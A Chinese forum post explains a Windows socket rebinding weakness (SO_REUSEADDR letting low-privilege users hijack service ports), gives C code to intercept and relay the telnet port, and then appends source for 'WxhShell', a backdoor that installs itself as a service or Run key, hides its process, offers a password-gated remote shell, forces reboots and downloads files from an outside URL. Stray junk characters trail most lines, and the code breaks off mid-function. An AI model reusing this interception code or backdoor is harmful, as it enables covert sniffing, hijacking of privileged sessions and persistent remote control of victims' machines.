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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )[d?&GK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2lVJ"jg  
*9#6N2J$M  
  saddr.sin_family = AF_INET; 4l/hh|3@  
d NQ?8P-&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Yj/aa0Ka4  
*=Ko"v }  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %#xdD2oN  
{sn RS)-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /gkHV3}fu  
e>zCzKK  
  这意味着什么?意味着可以进行如下的攻击: EZy:_xjZ  
'Vwsbm tY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zj@k3y  
KMO(f!?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n[~kcF  
zn| S3c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gnjh=anVX1  
:6k8\{^9"D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k[9~Er+  
u@j]U|FpY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )HHG3cvU  
;D}8acQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {MP8B'r-6  
< Y5pAStg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^}JGWGib=+  
snPM&  
  #include xq`mo  
  #include .lclW0*  
  #include Sz_bjhyT}  
  #include    C|#GODA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Wpgp YcPS  
  int main() @>>8CU^~  
  { G(g`>' m  
  WORD wVersionRequested; dQX<X}  
  DWORD ret; 5*M3sN  
  WSADATA wsaData; >?-etl  
  BOOL val;  -&N^S?  
  SOCKADDR_IN saddr; <gvuCydsh  
  SOCKADDR_IN scaddr; $A GW8"  
  int err; n}KF) W=  
  SOCKET s; &I8Q'  
  SOCKET sc; q"Ct=d  
  int caddsize; RO>3U2  
  HANDLE mt; uY{zZ4iw  
  DWORD tid;   }BTK+Tk8  
  wVersionRequested = MAKEWORD( 2, 2 ); Un [olp  
  err = WSAStartup( wVersionRequested, &wsaData ); s"hSn_m  
  if ( err != 0 ) { \"L ;Ct 8  
  printf("error!WSAStartup failed!\n"); e70#"~gt[  
  return -1; /y8=r"'G  
  } #~3$4j2U(y  
  saddr.sin_family = AF_INET; iME )Jl&  
   o!nw/7|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YJBlF2uD  
<c` + f PW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1~J:hjKQ  
  saddr.sin_port = htons(23); DdU T"%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (T290a9y>  
  { MK"p~b0->  
  printf("error!socket failed!\n"); R,+Pcn$ws  
  return -1; Ue:LKK1Gsr  
  } vBFMne1h  
  val = TRUE; y {&"g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (R'GrN>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mEL<d,XhI  
  { .<#oLM^  
  printf("error!setsockopt failed!\n"); Uq}FrK}  
  return -1; #6fQ$x(F#j  
  } 41-u*$   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g0Rny  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z2Q'9C},m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Alo;kt@x  
w'[^RZW:j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  c@eQSy  
  { j ^Tb=  
  ret=GetLastError(); @u@ N&{b5"  
  printf("error!bind failed!\n"); \`ya08DP(  
  return -1; 8i epG  
  } @fI1|v=eF  
  listen(s,2); t@#+vs@  
  while(1) 5 )A(q\  
  { A_8UPGh8  
  caddsize = sizeof(scaddr); P\jnht  
  //接受连接请求 z%FBHj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z<P?P`  
  if(sc!=INVALID_SOCKET) |M8FMH[_  
  { yj:<3_-C*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /$z(BX/  
  if(mt==NULL) /nPNHO>U  
  { ~__r- z  
  printf("Thread Creat Failed!\n"); cDkq@H:   
  break; L<7KmN4VX  
  } -0I]Sm;$  
  } ";kwh8wB  
  CloseHandle(mt); g6AEMer  
  } PZ#\O  
  closesocket(s); +#;t.&\80N  
  WSACleanup(); Z=[qaJ{]  
  return 0; r$8(Q'  
  }   k},@2#W]  
  DWORD WINAPI ClientThread(LPVOID lpParam) =c(t;u6m-  
  { D+nKQ4  
  SOCKET ss = (SOCKET)lpParam; 8QJ^@|7  
  SOCKET sc; "c9T4=]&t  
  unsigned char buf[4096]; =c-Y >  
  SOCKADDR_IN saddr; /v<FH}  
  long num; 0uZL*4A+C  
  DWORD val; {wp~  
  DWORD ret; +hIC N,8!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %@,%A_So k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U%:K11Kr  
  saddr.sin_family = AF_INET; . r?URC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e(z'u A{!  
  saddr.sin_port = htons(23); T{CCZ"Fv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Sb[5_Q  
  { e) \PW1b  
  printf("error!socket failed!\n"); (93$ L zZ  
  return -1; >~F_/Z'5  
  } x(]Um!  
  val = 100; 5~R1KjjvA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _c z$w5`  
  { s)A=hB-V  
  ret = GetLastError(); vk jHh.  
  return -1; B4#XQ-  
  } P&sn IJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ov 'g'1}  
  { >h Rq  
  ret = GetLastError(); GG=R!+p2  
  return -1; X/8TRiTFv  
  } 2Wx~+@1y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =Hd+KvA  
  { K,f"Q<sU%  
  printf("error!socket connect failed!\n"); mNQ~9OJ1  
  closesocket(sc); nb30<h  
  closesocket(ss); V* I2  
  return -1; Pb] EpyAW  
  } WSsX*L  
  while(1) ev4f9Fhu  
  { )c<X.4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3oQ?VP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NMvNw?]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /8O;Q~a  
  num = recv(ss,buf,4096,0); UhX)?'J  
  if(num>0) Zk+c9,q  
  send(sc,buf,num,0); %wQE lkB  
  else if(num==0) qS!U1R?s  
  break; fG,)`[eD!_  
  num = recv(sc,buf,4096,0); Dk^T_7{  
  if(num>0) }8LTYn  
  send(ss,buf,num,0); gucgNpX  
  else if(num==0) KsDovy<  
  break; y5/LH~&Ov  
  } /cX%XZg  
  closesocket(ss); NY3/mS3w  
  closesocket(sc); bH Nf>  
  return 0 ; >(\Z-I&YQ  
  } lc(}[Z/|V  
=K;M\_k%y  
(7 O?NS  
========================================================== 2[X\*"MQ2  
G_E \p%L>]  
下边附上一个代码,,WXhSHELL 3EA+tG4KnO  
3%(BZ23  
========================================================== ?ZAynZF|#  
U3^3nL-M9  
#include "stdafx.h" &Cm$%3  
_@D"XL#L  
#include <stdio.h> [Te"|K':  
#include <string.h> IJk<1T7:(W  
#include <windows.h> 2uzy]faM  
#include <winsock2.h> >$:_M*5  
#include <winsvc.h> O$(#gB'B  
#include <urlmon.h> vUR@P  -  
wv.HPmq  
#pragma comment (lib, "Ws2_32.lib") Yl`)%6'5|  
#pragma comment (lib, "urlmon.lib") (&!x2M  
(7A-cC  
#define MAX_USER   100 // 最大客户端连接数 2hf7F";Af  
#define BUF_SOCK   200 // sock buffer O gtrp)x9  
#define KEY_BUFF   255 // 输入 buffer RQ;}+S  
H$k2S5,,z  
#define REBOOT     0   // 重启 gkFw=Cd  
#define SHUTDOWN   1   // 关机 3y}8|ML  
D16w!Mnz{K  
#define DEF_PORT   5000 // 监听端口 2I>`{#fV  
m:)s UC0  
#define REG_LEN     16   // 注册表键长度 j58'P 5N  
#define SVC_LEN     80   // NT服务名长度 aflBDo1c  
:;URLl0  
// 从dll定义API *[+{KJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  uWkn}P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @ruWnwb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y41~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h1+y.4  
NRMEZ\*L  
// wxhshell配置信息 !%(PN3*  
struct WSCFG { Ya29t 98Pk  
  int ws_port;         // 监听端口 sI5S)^'IQ  
  char ws_passstr[REG_LEN]; // 口令 0gsRBy  
  int ws_autoins;       // 安装标记, 1=yes 0=no .c]@xoC  
  char ws_regname[REG_LEN]; // 注册表键名 I\<)9`O  
  char ws_svcname[REG_LEN]; // 服务名 $6~t|[7:%Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6^sH3=#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i'3)5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & R,QJ4L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6$&%z Eh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -u^f;4|u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y-.aSc53  
XaH;  
}; X@\ 9}*9  
oIGF=x,e8  
// default Wxhshell configuration 589P$2e1X  
struct WSCFG wscfg={DEF_PORT, W.^R/s8O%5  
    "xuhuanlingzhe", i$6o>V6  
    1, .\7AJB\l  
    "Wxhshell", ~BC~^ D&WD  
    "Wxhshell", 2. f8uq  
            "WxhShell Service", W=I~GhM  
    "Wrsky Windows CmdShell Service", Wrf+5 ;,,  
    "Please Input Your Password: ", 4l@aga  
  1, J]5ZWo%  
  "http://www.wrsky.com/wxhshell.exe", OU[ FiW-E  
  "Wxhshell.exe" |& _(I  
    }; FyqsFTh_  
P-\65]`C  
// 消息定义模块 d 0 mfqP=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IweNe`Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vu~7Z;y(<j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ot,=.%O  
char *msg_ws_ext="\n\rExit."; nq:'jdY5|  
char *msg_ws_end="\n\rQuit."; eQJyO9$G  
char *msg_ws_boot="\n\rReboot..."; \u*[mrX_B:  
char *msg_ws_poff="\n\rShutdown..."; T'-kG"lb  
char *msg_ws_down="\n\rSave to "; D22A)0+_  
NEt_UcC  
char *msg_ws_err="\n\rErr!"; df{6!}/(  
char *msg_ws_ok="\n\rOK!"; ;v5Jps2^]  
>"[Nmx0;w  
char ExeFile[MAX_PATH]; \xKhbpO~  
int nUser = 0; 5Un)d<!7&u  
HANDLE handles[MAX_USER]; '[p0+5*x  
int OsIsNt; /Zg4JQ~  
x$) E^|A+  
SERVICE_STATUS       serviceStatus; +&[X7r<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z@i,9 a  
LY2QKjgP  
// 函数声明 [6CWgQ%Ue  
int Install(void); lz4M)pL^  
int Uninstall(void); #ds@!u+&  
int DownloadFile(char *sURL, SOCKET wsh); < 49\B  
int Boot(int flag); M%2w[<-8c  
void HideProc(void); co*XW  
int GetOsVer(void); gp-rTdN  
int Wxhshell(SOCKET wsl); }1|FES  
void TalkWithClient(void *cs); hR,5U=+M7  
int CmdShell(SOCKET sock); ^qNZ!V4T  
int StartFromService(void); 2XrYm"6w  
int StartWxhshell(LPSTR lpCmdLine); zKQXmyO  
a"8H(HAlNn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *0z'!m12  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @@& ? ,3  
{-51rAyi  
// 数据结构和表定义 $AHdjQ[;6-  
SERVICE_TABLE_ENTRY DispatchTable[] = fJ;1ii~  
{ pg3h>)$/  
{wscfg.ws_svcname, NTServiceMain}, ^TT_B AI  
{NULL, NULL} >g,i"Kg  
}; O )INM  
UB]]oC<  
// 自我安装 F6Q nz8|  
int Install(void) :Fi$-g  
{ WQv`%%G2>  
  char svExeFile[MAX_PATH]; rSKZc`<^  
  HKEY key; Nc*z?0wP  
  strcpy(svExeFile,ExeFile); f\~A72-  
ivvm.7{  
// 如果是win9x系统,修改注册表设为自启动 lL*"N|Y  
if(!OsIsNt) { AS a)xf9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [#2X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5>>JQ2'W  
  RegCloseKey(key); @DK`#,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `%$+rbo~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lI;ACF^  
  RegCloseKey(key); }Io5&ww:U  
  return 0; eV\VR !!i  
    } U,V+qnS  
  } *rmM2{6  
} S'=}eeG  
else { Wux[h8G  
uE'Kk8  
// 如果是NT以上系统,安装为系统服务 RP%FMb}nt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LUEZqIf  
if (schSCManager!=0) [{6fyd;  
{ :_kZkWD5  
  SC_HANDLE schService = CreateService bdHHOpXM  
  ( Q@/Z~xw"'I  
  schSCManager, 8>[o. xV  
  wscfg.ws_svcname, >njX=r.  
  wscfg.ws_svcdisp, bf6:J `5Z  
  SERVICE_ALL_ACCESS, ?L6pB]l8b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < mp_[-c  
  SERVICE_AUTO_START, v8>bR|n5  
  SERVICE_ERROR_NORMAL, AL*M`m_  
  svExeFile, U<wM#l P|Z  
  NULL, la>H&  
  NULL, VJgYXPE `  
  NULL, Rg 5kFeS  
  NULL, #pk  
  NULL @k\npFKQm  
  ); U&gI_z[  
  if (schService!=0) d8&T62Dnd4  
  { j5G=ZI86y  
  CloseServiceHandle(schService); .DHQJ|J-1  
  CloseServiceHandle(schSCManager); cg^=F_h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B:(a?X-7  
  strcat(svExeFile,wscfg.ws_svcname); z,(.` %h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n"f: 6|<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F87c?Vh)K  
  RegCloseKey(key); 6!v$"u|[!'  
  return 0; Rln% Y  
    } eDsc_5I  
  } 0+Q; a  
  CloseServiceHandle(schSCManager); =21m|8c  
} K$5mDScoJ  
} t"X^|!hKIF  
[!U! Z'i  
return 1; N_?15R7h  
} fzzk#jU  
13f 'zx(AO  
// 自我卸载 h/..cVD,K  
int Uninstall(void) X;CRy,  
{ LQJC]*b1  
  HKEY key; n= FOB0=  
.Xk#Cwm'  
if(!OsIsNt) { a$$aM2.2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^a=V.  
  RegDeleteValue(key,wscfg.ws_regname); 7myYs7N8[  
  RegCloseKey(key); r+,JM L   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =L*-2cE6#  
  RegDeleteValue(key,wscfg.ws_regname); Z*YS7 ~  
  RegCloseKey(key); &+ UnPE(  
  return 0; C&;m56  
  } EKNmXt1 lE  
} N[;R8S P  
} E6fs&  
else { 6\xfoy|j  
$j/#IzD1D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]:~z#k|2@6  
if (schSCManager!=0) oVY_|UujG  
{ 'k/:3?R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *&~ '  
  if (schService!=0) |J:m{  
  { r)oR `\7  
  if(DeleteService(schService)!=0) { L@`:mK+;  
  CloseServiceHandle(schService); eJE!\ucS2W  
  CloseServiceHandle(schSCManager); l4\!J/df  
  return 0; k<y~n*{_  
  } p:3 V-$4X  
  CloseServiceHandle(schService); /g$8JL  
  } ;nKhmcQ4  
  CloseServiceHandle(schSCManager); eHU b4,%P  
} dUkZ_<5''  
} 7AQv4  
15R:m:T  
return 1; WP !u3\91  
} Bs^p!4=  
ICzcV };$  
// 从指定url下载文件 UVgDm&FF  
int DownloadFile(char *sURL, SOCKET wsh) R/l/GNm  
{ #BX}j&h_  
  HRESULT hr; *.!532 7  
char seps[]= "/"; o&Y R\BI/  
char *token; 34 I Cn~  
char *file; C5~ +"#B  
char myURL[MAX_PATH]; n7hjYNJ  
char myFILE[MAX_PATH]; LrdX^_,nt  
5Vlm?mPU  
strcpy(myURL,sURL); L | #"Yn  
  token=strtok(myURL,seps); F{laA YE  
  while(token!=NULL) ;n.SRy6  
  { VN]j*$5   
    file=token; o_cAelI[!  
  token=strtok(NULL,seps); xmHW,#%ui\  
  } ,soXX_Y>  
/@@?0xjX  
GetCurrentDirectory(MAX_PATH,myFILE); \omfWWpK  
strcat(myFILE, "\\"); UD^=@?^7  
strcat(myFILE, file); @*iT%p_L  
  send(wsh,myFILE,strlen(myFILE),0); [#+klP$  
send(wsh,"...",3,0); =H?^G[y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +{WZpP},v  
  if(hr==S_OK) jm,:jkr  
return 0; :b<<  
else 0iVeM!bM  
return 1; G4wJv^6i9  
B*n_ VBd  
} wN:vI(C  
9eEA80i7  
// 系统电源模块 D'Uv7Mis  
int Boot(int flag) fcw/l,k9  
{ xOKf|  
  HANDLE hToken; spTIhZ  
  TOKEN_PRIVILEGES tkp; L<p.2[3  
nk2H^RM^  
  if(OsIsNt) { .cs4AWml<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O[z-K K<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gg6<4T1  
    tkp.PrivilegeCount = 1; oPrK{flm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %[BOe4[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hlFvm$P`M  
if(flag==REBOOT) { K'b #}N\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wQ '_, d  
  return 0; N`+@_.iBX  
} y(Tb=:  
else { m*` W&k[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l42tTD8Awz  
  return 0; XT{ukEvDR  
} -8z@FLUK-  
  } 'v_k #%  
  else { XF`?5G~~#  
if(flag==REBOOT) { _o{w<b&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vd0uI#g%#  
  return 0; Og2G0sWRf  
} ~U1M -<IX  
else { =|IY[2^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0t -=*7w%  
  return 0; 0134mw%jk  
} isor%R!  
} J@o$V- KK  
1.z]/cx<y  
return 1; NH!x6p]n  
} oTk?a!Q  
@H8CU!J  
// win9x进程隐藏模块 !z"nJC  
void HideProc(void) %D E_kwL  
{ !5K5;M_Ih"  
YkI_i(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hd#MV!ti  
  if ( hKernel != NULL ) LteZ7e  
  { )CG,Udu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W"\O+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8GT4U5c ;  
    FreeLibrary(hKernel); PPj%.i)  
  } !Er)|YP  
6yedl0@wa!  
return; h&<>nK   
} SH;:bLk_  
EsjZ;D, c(  
// 获取操作系统版本 #~`d ;MC  
int GetOsVer(void) ejlau#8"  
{ C*Wyw]:r  
  OSVERSIONINFO winfo; AQgm]ex<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  t`'5|  
  GetVersionEx(&winfo); o*:D/"gb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aa/_:V@$~  
  return 1; l vfplA  
  else xGt>X77  
  return 0; 8RU91H8fE  
} 52'0l>  
g!!:o(k  
// 客户端句柄模块 U&u~i 3  
int Wxhshell(SOCKET wsl) :KBy(}V  
{ gi<%: [jT  
  SOCKET wsh; rz.`$  
  struct sockaddr_in client; WU{9lL=  
  DWORD myID; |/~ISB  
pU[5f5_  
  while(nUser<MAX_USER) 3(=QY)  
{ jDCf]NvOPM  
  int nSize=sizeof(client); $B?IE#7S4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `WlQ<QEi  
  if(wsh==INVALID_SOCKET) return 1; ]DLs'W;)  
h[r)HX0hA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /e]R0NI  
if(handles[nUser]==0) :;N2hnHoG  
  closesocket(wsh); V7$-4%NL  
else c!J|vRA5  
  nUser++; -Rj3cx  
  } F tay8m@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k5eTfaxl  
-5<G^AS  
  return 0; ?T_bjALW  
} +"JQ5~7  
RwDXOdgu  
// 关闭 socket MsjC4(Xla.  
void CloseIt(SOCKET wsh) l`?4O  
{ A\QrawBp0l  
closesocket(wsh); =$WDB=i  
nUser--; ?xb2jZ/0X  
ExitThread(0); tW"s^r=95  
} @+; cFj  
x(y=.4Yf+  
// 客户端请求句柄 TZw['o  
void TalkWithClient(void *cs) lCJ/@)  
{ A4f;ftB  
#s|,o Im  
  SOCKET wsh=(SOCKET)cs; lcuqzX{7  
  char pwd[SVC_LEN]; u~\ NL{  
  char cmd[KEY_BUFF]; DXx),?s>  
char chr[1]; ad`=A V]  
int i,j; Jek3K&  
|#x]/AXa0/  
  while (nUser < MAX_USER) { # &Z1d(!  
HC(o;,spO  
if(wscfg.ws_passstr) { ?<D1] Xv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ky@DH(^>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `a]feAl  
  //ZeroMemory(pwd,KEY_BUFF); b%|6y  
      i=0; Pt?d+aBtV  
  while(i<SVC_LEN) { $QJ,V~  
4\(|V fy  
  // 设置超时 ,Zb_Pu   
  fd_set FdRead; .5+5ca  
  struct timeval TimeOut; #E@X'jwu  
  FD_ZERO(&FdRead); 1-?TjR  
  FD_SET(wsh,&FdRead); @S?D}myD  
  TimeOut.tv_sec=8; G[\3)@I  
  TimeOut.tv_usec=0; GFgh{'|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q.v_?X<_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?tf<AZ=+^L  
|eH*Q%M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tz_WxOQ0  
  pwd=chr[0]; xQ\S!py-  
  if(chr[0]==0xd || chr[0]==0xa) { s-),Pv|  
  pwd=0; I_On0@%T5b  
  break; bh UghHT  
  } ;#S4$wISw`  
  i++; <k 7q 9"\4  
    } LGPg\g`  
1 eMaKT_=  
  // 如果是非法用户,关闭 socket !k=~a]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zH1ChgF=}  
} sH\ h{^  
<(B: "wI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  f%c-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l#;o^H i  
@rxfOc0J#  
while(1) { r9$7P?zm  
8AIAv_ g  
  ZeroMemory(cmd,KEY_BUFF); .:2=VLujU  
JbW!V Y  
      // 自动支持客户端 telnet标准   Gkz~x Qy1T  
  j=0; x<h-F  
  while(j<KEY_BUFF) { O%rt7qV"g2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tg/r V5@ka  
  cmd[j]=chr[0]; CUa`#  
  if(chr[0]==0xa || chr[0]==0xd) { a~O](/+p;  
  cmd[j]=0; $d%NFc&  
  break; fg~9{1B  
  } q%c"`u/v/  
  j++; N="H 06t  
    } +y|H#(wBP  
cK6IyJx-  
  // 下载文件 1iIag}?p  
  if(strstr(cmd,"http://")) { Q)l~?Fx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #GA6vJ4^s  
  if(DownloadFile(cmd,wsh)) Ar1X mHq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  XOd  
  else ~{BR~\D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s&Ml1 A:  
  } h} <Ie <  
  else { 'EsdYx5C  
+ u'y!@VV  
    switch(cmd[0]) { 7g&<ZZo  
  0} Lx}2  
  // 帮助 >d#Ks0\&  
  case '?': { S}XVr?l 2O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +B-;.]L T  
    break; XyytO;X M-  
  } G~`nLC^Y  
  // 安装 s+E-M=d0e  
  case 'i': { #;9n_)  
    if(Install()) !UW{xHu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6yPh0n  
    else ?)'+l   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =%$BFg1a(  
    break; r[y3@SE5  
    } oM)4""|  
  // 卸载 -MT.qhx  
  case 'r': { 3hbUus  
    if(Uninstall()) lv0}d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ikj_ 0/%F  
    else ^+q4*X6VB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z<n%~z^  
    break; p_Y U!j_VE  
    } Nlfz'_0M  
  // 显示 wxhshell 所在路径 {_1zIt|  
  case 'p': { (S#nA:E  
    char svExeFile[MAX_PATH]; 7T-}oNaJA\  
    strcpy(svExeFile,"\n\r"); Wf!<Qot|R#  
      strcat(svExeFile,ExeFile); d@,3P)?  
        send(wsh,svExeFile,strlen(svExeFile),0); &P3ep[]j  
    break; _!C'oG6s?  
    } Zlf) dDn  
  // 重启 LFV',1+  
  case 'b': { 6qp' _?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u!K5jqP  
    if(Boot(REBOOT)) \)m V2r!%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xyc`p[n &  
    else { %)@3V8OI  
    closesocket(wsh); ^=gzm s  
    ExitThread(0); H`X>  
    } TWAt)Q"J  
    break; ^Q""N<  
    } BA cnFO  
  // 关机 T *8rR"  
  case 'd': { Uv"O'Z  
